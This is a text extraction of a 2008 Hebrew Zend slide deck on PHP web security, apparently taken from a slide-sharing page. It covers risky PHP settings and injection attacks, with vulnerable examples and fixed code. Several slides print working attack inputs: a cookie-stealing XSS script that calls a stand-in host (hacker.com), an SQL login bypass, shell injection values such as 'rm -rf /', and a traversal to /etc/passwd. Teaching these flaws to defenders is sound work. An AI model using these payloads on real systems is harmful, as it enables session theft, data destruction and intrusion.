PHP - עבר הווה ועתיד
 
Content Indexing with Zend_Search_Lucene
Content Indexing with Zend_Search_LuceneContent Indexing with Zend_Search_Lucene
Content Indexing with Zend_Search_Lucene
 
Building Scalable Development Environments
Building Scalable Development EnvironmentsBuilding Scalable Development Environments
Building Scalable Development Environments
 

PHP ואבטחה - חלק ראשון

  • 1. ‫, אפליקציות ווב ואבטחה‬PHP I ‫חלק‬ ‫שחר עברון‬ .Copyright © 2007, Zend Technologies Inc
  • 2. ‫מי? מה? מתי?‬ ‫אבטחה ב- ‪ ,web‬וב- ‪ PHP‬במיוחד, היא נושא טעון‬ ‫•‬ ‫‪ ‬מצד אחד, ה- ‪ web‬מכיל הרבה מאוד מידע, שחלק גדול ממנו הוא‬ ‫רגיש / אישי / בעל ערך )כזה שמשתלם לגנוב אותו(‬ ‫‪ ‬מצד שני, ה- ‪ web‬הוא סוג של ”מערב פרוע“ שבו אין חוקים והכל‬ ‫יכול לקרות‬ ‫‪ PHP ‬היא אחת השפות הפופולריות ביותר ב- ‪ ,web‬בייחוד אצל‬ ‫מתכנתים מתחילים שפחות מודעים לסכנות‬ ‫‪ ‬רוב האפליקציות שנכתבות ב- ‪ PHP‬הם תוכנה חופשית. לכן, קל יותר‬ ‫לאתר פרצות אבטחה‬ ‫‪ ‬בעבר, היו מספר נסיונות )לא מאוד מוצלחים( לפתור בעיות אבטחה‬ ‫ברמת השפה‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫2 |‬
  • 4. ‫מה זה אבטחה ובשביל מה זה טוב?‬ ‫בשביל לפתור בעיות אבטחה, חשוב קודם כל להבין מה זה‬ ‫•‬ ‫בדיוק ”בעיות אבטחה“:‬ ‫אובדן פוטנציאלי של מידע רגיש‬ ‫‪‬‬ ‫אובדן פוטנציאלי של שעות עבודה‬ ‫‪‬‬ ‫אובדן פוטנציאלי של ‪uptime‬‬ ‫‪‬‬ ‫== אובדן פוטנציאלי של רווח‬ ‫‪‬‬ ‫אבטחה היא אוסף של אמצעים שעלינו לנקות ע“מ למנוע‬ ‫•‬ ‫או לצמצם אובדן פוטנציאלי של רווח‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫4 |‬
  • 5. ‫גישה נכונה לאבטחת אפליקציות ווב‬ ‫אפליקציה לעולם לא תהיה מאובטחת ב-%001‬ ‫•‬ ‫‪ ‬וגם אם כן, זו תהיה טעות קונספטואלית לחשוב ככה...‬ ‫גישת עומק – נקיטה של מספר אמצעים חופפים כדי להשיג‬ ‫•‬ ‫אבטחה טובה יותר‬ ‫מודעות למה שאנחנו לא מודעים אליו‬ ‫•‬ ‫‪ ‬היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד %001‬ ‫מאובטח‬ ‫• == ארכיטקטורה יותר חשובה מאבטחה!‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫5 |‬
  • 6. ‫לעולם אסור לבטוח במידע חיצוני!‬ ‫אבל מה זה בדיוק מידע חיצוני?‬ ‫•‬ ‫‪GET, POST, COOKIE‬‬ ‫‪‬‬ ‫‪FILES, SERVER‬‬ ‫‪‬‬ ‫‪ ,ENV‬בסיס נתונים, קבצים על הדיסק ‬ ‫‪‬‬ ‫“אם יש ספק – אין ספק!“‬ ‫‪‬‬ ‫מה עושים עם מידע חיצוני?‬ ‫•‬ ‫‪ ‬סינון – ‪ ,filtering‬בדיקת תקינות - ‪validation‬‬ ‫• רשימה לבנה – ‪ – whitelisting‬לדוגמה ‪ HTML Tags‬מותרים‬ ‫• רשימה שחורה – ‪ – blacklisting‬לדוגמה מילים אסורות בפורום‬ ‫‪ ‬חילוּף - התאמה לפורמט נדרש - ‪escaping‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫6 |‬
  • 8. ‫‪display_errors‬‬ ‫בפיתוח: ‪On‬‬ ‫•‬ ‫‪ ‬קוד נקי לחלוטין משגיאות‬ ‫‪ ‬הודעות ‪ NOTICE‬מעידות לעיתים קרובות על ”חורי‬ ‫אבטחה“ )לדוגמה: הודעות על משתנים לא מאותחלים(‬ ‫בזמן ריצה: ‪Off‬‬ ‫•‬ ‫‪ ‬מניעה של זליגת מידע פנימי אל המבקרים באתר‬ ‫‪ ‬זה לא נראה טוב ;-(‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫8 |‬
  • 9. ‫‪register_globals‬‬ ‫כאשר פועל, ‪ PHP‬ירשום משתנים ב-‪ global scope‬באופן‬ ‫•‬ ‫אוטומטי לכל משתנה ‪ GET, POST, COOKIE‬וכו'.‬ ‫לא נמצא בשימוש רב בשנים האחרונות )מכובה כברירת‬ ‫•‬ ‫מחדל מאז 2.4( אבל עדיין אפשר למצוא אפליקציות‬ ‫ש“סומכות“ על ‪.register_globals‬‬ ‫פותח פרצות אבטחה פוטניאליות רבות – מאפשר ”הזרקה“‬ ‫•‬ ‫של משתנים לתוך ה- ‪global namespace‬‬ ‫‪ ‬אם חייבים להתשמש – חובה לאתחל את כל המשתנים‬ ‫)‪(! E_NOTICE‬‬ ‫הרגל רע גם מסיבות אחרות:‬ ‫•‬ ‫‪ ‬קוד לא נייד )‪(portable‬‬ ‫‪ Deprecated ‬ב- 0.6 ‪PHP‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫9 |‬
  • 10. ‫‪magic_quotes_gpc‬‬ ‫אם מופעל, ‪ PHP‬יוסיף לוכסן )‪ (backslash‬לפני כל גרש )'(,‬ ‫•‬ ‫גרשיים )”(, לוכסן אחורי )( ו- ‪ null‬שנכנסים ב- ‪GET, POST‬‬ ‫ו- ‪.COOKIE‬‬ ‫“פיצ'ר“ שהיה אמור למנוע ‪ SQL Injections‬ברמת השפה‬ ‫•‬ ‫בפועל, מספק פתרון חלקי ביותר‬ ‫•‬ ‫‪ ‬אין תמיכה בקידודים שונים‬ ‫‪ ‬אין תמיכה בכל בסיסי הנתונים השונים‬ ‫‪ ‬תמיד עדיף להשתמש בפונקציית ‪ escaping‬ייעודית‬ ‫יש עוד סיבות לכבות חוץ מאבטחה‬ ‫•‬ ‫‪ ‬רע מבחינת ביצועים‬ ‫‪ ‬לא פורטבילי, ייבוטל ב- 0.6 ‪PHP‬‬ ‫בקיצור, לא להתבסס על ‪magic_quotes_gpc‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫01 |‬
  • 11. ‫*_‪allow_url‬‬ ‫‪allow_url_fopen‬‬ ‫•‬ ‫‪ ‬מאפשרת פתיחה של קבצים מרוחקים בעזרת ה- ‪stream wrappers‬‬ ‫הנתמכים )בד"כ ‪ HTTP, FTP, SSH‬וכו'( בפונקציות התומכות בכך‬ ‫)‪ ,fopen, file_get_contents‬ועוד רבות(.‬ ‫‪ ‬פועל כברירת מחדל, כדאי בהחלט לכבות אם לא צריך‬ ‫‪allow_url_include‬‬ ‫•‬ ‫מאפשרת הרצה של קוד ‪ PHP‬מרוחק דרך ‪stream wrappers‬‬ ‫‪‬‬ ‫קיים מאז 2.5 ‪PHP‬‬ ‫‪‬‬ ‫כבוי כברירת מחדל‬ ‫‪‬‬ ‫‪Code injection waiting to happen‬‬ ‫‪‬‬ ‫איזה סיבה לעזאזל יש למישהו להפעיל דבר כזה?!?!‬ ‫‪‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫11 |‬
  • 13. ‫‪Cross-Site Scripting - XSS‬‬ ‫הזרקה של קוד ‪client-side‬‬ ‫•‬ ‫‪HTML ‬‬ ‫‪CSS ‬‬ ‫‪JavaScript ‬‬ ‫אחת החולשות הנפוצות ביותר‬ ‫•‬ ‫התוקף שותל קוד זדוני שיפורש ויוצג / יופעל ע“י הדפדפן‬ ‫•‬ ‫של הקורבן‬ ‫יכולה לשמש כ“מקפצה“ להתקפות נוספות – השחתה,‬ ‫•‬ ‫‪ ,phishing, session hijacking‬גניבת סיסמאות וכו'‬ ‫קבועה – ‪ persistent‬לעומת זמנית – ‪non-persistent‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫31 |‬
  • 14. ‫ - דוגמה‬XSS XSS -‫כל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל‬ • <body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? $_GET['q'] : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo $_GET['q']; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> </body> | J an 19, 2008 ‫ ואבטחה‬PHP | 14
  • 15. ‫ - דוגמה‬XSS :JavaScript ‫ בעזרת הזרקת קוד‬session ID ‫גניבת‬ •  <script>alert(document.cookie);</script>  <script>i=new Image(); i.src='http://hacker.com/owned.php?' + document.cookie;</script> | J an 19, 2008 ‫ ואבטחה‬PHP | 15
  • 16. ‫‪Cross-Site Scripting - XSS‬‬ ‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪htmlspecialchars() ‬‬ ‫‪htmlentities() ‬‬ ‫במקרים בהם רוצים להרשות ‪ ,HTML‬חובה לסנן את הקלט‬ ‫•‬ ‫לפי "רשימה לבנה"‬ ‫‪ ‬להרשות רק תגים מסויימים - לדוגמה ‪strong, em, u, div, a, span‬‬ ‫‪ ‬להרשות רק ‪ attributes‬מסוימים - לדוגמה ‪ href‬ולא ‪style‬‬ ‫‪ ‬יש ספריות מוכנות לסינון ‪HTML‬‬ ‫• ‪http://htmlpurifier.org‬‬ ‫‪ ‬אפשר לבצע לבד בקלות בעזרת ‪ tidy‬או ‪DOM‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫61 |‬
  • 17. ‫ – דוגמה מתוקנת‬XSS ‫ לפני הדפסה‬htmlspecialchars -‫שימוש ב‬ • Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET['q']); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> | J an 19, 2008 ‫ ואבטחה‬PHP | 17
  • 18. ‫‪SQL Injection‬‬ ‫הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס‬ ‫•‬ ‫הנתונים ויפורש שם כקוד ‪SQL‬‬ ‫יכול להוות בסיס לפעילויות שונות, לדוגמה:‬ ‫•‬ ‫עקיפה של סיסמאות ושינוי הרשאות‬ ‫‪‬‬ ‫שינוי נתונים‬ ‫‪‬‬ ‫השחתה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫מחיקה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫בעיה נפוצה מאוד – הרבה מאוד אפליקציות ווב מעבירות‬ ‫•‬ ‫קלט מהמשתמש אל בסיס הנתונים‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫81 |‬
  • 19. ‫ – דוגמה‬SQL Injection ‫ ללא חילוף / בדיקה‬SQL -‫שליחה של מידע חיצוני כחלק מ‬ • $username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')"; $res = mysql_query($sql); :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ עקיפה של מנגנון הסיסמה‬ username=' OR '' = ' password=') OR MD5('') = MD5(' ‫, שינוי נתונים‬DOS ,‫ ניתן לבצע גם השחתה של בסיס הנתונים‬ .‫וסיסמאות ועוד‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 19
  • 20. SQL Injection :‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת חילוף‬ • ‫ ייעודיות של בסיס הנתונים‬escaping ‫ פונקציות‬ mysql_real_escape_string • pg_escape_string • '‫• וכו‬ Casting to integer / float  PDO-<quote()  !‫ לא טוב מספיק‬addslashes()  Prepared Statements • PDO, MySQLi  ‫ בהרבה מקרים עדיף גם מבחינת ביצועים‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 20
  • 21. ‫ – קוד תקין‬SQL Injection mysql – ‫חילוף‬ • $con = mysql_connect('....'); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')"; $res = mysql_query($sql); PDO – ‫חילוף‬ • $pdo = new PDO("mysql:dbname=mydb", 'user', 'password'); $username = $pdo->quote($_POST['username']); $password = $pdo->quote($_POST['password']); | J an 19, 2008 ‫ ואבטחה‬PHP | 21
  • 22. ‫ – קוד תקין‬SQL Injection Integer -‫המרה ל‬ • $user_id = (int) $_GET['user_id']; $sql = "SELECT * FROM users WHERE id = $user_id"; Prepared statement - PDO • $pdo = new PDO("mysql:dbname=mydb", 'user', 'password'); $stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)" ); $result = $stmt->execute(array( 'username' => $username, 'password' => $password) ); | J an 19, 2008 ‫ ואבטחה‬PHP | 22
  • 23. ‫‪Shell Command Injection‬‬ ‫הזרקה של קוד אל "מערכת ההפעלה" תוך ניצול של‬ ‫•‬ ‫פקודות ‪ PHP‬שמריצות פקודות מערכת‬ ‫‪ ‬אופרטור ‪(``) backtick‬‬ ‫‪ ‬משפחת )(‪exec‬‬ ‫לא נפוץ מאוד – אבל חשוב מאוד להיזהר כאשר מכניסים‬ ‫•‬ ‫פרמטרים לתוך פקודות אלו, מפני שהסכנות גדולות מאוד‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫32 |‬
  • 24. ‫ - דוגמה‬Shell Injection ‫שימוש במידע חיצוני בפקודות מערכת‬ • // Get a listing of a public directory $folder = $_GET['path']; echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ מחיקה של כל הקבצים שיש לשרת גישה אליהם‬ path=foo; rm -rf / :Denial of Service  path=foo; sleep 315360000 ‫ ...בעיקרון ניתן להריץ כמעט כל פקודת מערכת‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 24
  • 25. ‫‪Shell Command Injection‬‬ ‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪escapeshellarg() ‬‬ ‫‪escapeshellcmd() ‬‬ ‫‪ ‬ההבדל ביניהם – השניה לא מחליפה רווחים‬ ‫אם מכניסים קלט מהמשתמש לתוך פקודות מערכת, כדאי‬ ‫•‬ ‫מאוד להשתמש ב- ‪ whitelist filtering‬ובווידוא שהקלט‬ ‫תקין‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫52 |‬
  • 26. ‫ – קוד תקין‬Shell Injection ‫חילוף – פרמטר בודד‬ • $folder = escapeshellarg($_GET['path']); echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; ‫חילוף – כל הפקודה‬ • $cmd = escapeshellcmd("ls -l /ftp/public/$folder"); echo '<pre>'; passthru($cmd); echo '</pre>'; | J an 19, 2008 ‫ ואבטחה‬PHP | 26
  • 27. ‫ – קוד תקין‬Shell Injection ‫סינון לפי רשימה לבנה‬ • // White-list filtering: $allowed_paths = array( 'videos', 'images', 'music', 'books', 'uploads'); if (in_array($_GET['path'], $allowed_paths)) { $folder = $_GET['path']; echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; } | J an 19, 2008 ‫ ואבטחה‬PHP | 27
  • 28. ‫‪PHP Code Injection‬‬ ‫הזרקה של קוד ‪ PHP‬לתוך התוכנית‬ ‫•‬ ‫פונקציות שצריך לשים אליהם לב:‬ ‫•‬ ‫‪ ‬קריאות ל- ‪ include‬או ‪ require‬עם שם קובץ משתנה‬ ‫• רגיש בעיקר כש- ‪allow_url_include=On‬‬ ‫‪eval() ‬‬ ‫‪ preg_replace() ‬עם ‪/e‬‬ ‫‪create_function() ‬‬ ‫‪ ‬כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ, חשוב מאוד‬ ‫לבצע ‪ validation‬ו- ‪white-list filtering‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫82 |‬
  • 29. ‫‪ - PHP Code Injection‬דוגמה‬ ‫קריאת קבצים ע“י ניצול ‪include‬‬ ‫•‬ ‫;]'‪$tpl = $_GET['template‬‬ ‫;‪include 'templates/' . $tpl‬‬ ‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה:‬ ‫•‬ ‫‪ ‬קבלת רשימה של כל המשתמשים במערכת ההפעלה:‬ ‫‪template=../../../../../../../../etc/passwd‬‬ ‫אם ‪ allow_url_include‬מופעל, קוד זה מאפשר‬ ‫•‬ ‫הרצה של קוד ‪ PHP‬שרירותי על השרת‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫92 |‬
  • 30. ‫ – קוד תקין‬PHP Code Injection :‫המנעות ע“י סינון לפי רשימה לבנה‬ • $templates = array( 'blue' => 'templates/blue.phtml', 'aqua' => 'templates/aqua.phtml', 'ugly' => 'templates/ugly.phtml' ); $tpl = (isset($templates[$_GET['template']]) ? $templates[$_GET['template']] : 'templates/blue.phtml'); include $tpl; ‫באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק‬ • '‫ וכו‬include, eval ‫מפקודות כמו‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 30
  • 31. ‫סיכום – התקפות הזרקה‬ ‫התקפות הזרקה הם כנראה הנפוצות ביותר ב- ‪web‬‬ ‫•‬ ‫‪ ‬החדשות הטובות: יחסית קל לאתר ולפתור אותן ‬ ‫כל התקפות ההזרקה דומות באופיין, וגם באופן הטיפול בהן‬ ‫•‬ ‫"דע מאין בא ה- ‪ data‬ולאן הוא הולך“‬ ‫•‬ ‫‪ ‬האם אפשר לבטוח במקור הנתונים?‬ ‫‪ ‬מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?‬ ‫טיפול בהתקפות הזרקה ע“י סינון קלט טוב רק במקרים‬ ‫•‬ ‫מסוימים‬ ‫‪ ‬בד“כ חילוף )‪ (output escaping‬עדיף‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫13 |‬
  • 33. ‫בחלק ‪II‬‬ ‫התקפות ‪Session‬‬ ‫•‬ ‫‪Session Injection ‬‬ ‫‪Session Hijacking ‬‬ ‫טעויות לוגיות ותכנותיות‬ ‫•‬ ‫‪CSRF ‬‬ ‫‪ ‬חשיפת קבצים סטטיים‬ ‫גישות ואמצעי אבטחה כלליים‬ ‫•‬ ‫אבטחה בסביבת ‪shared hosting‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫33 |‬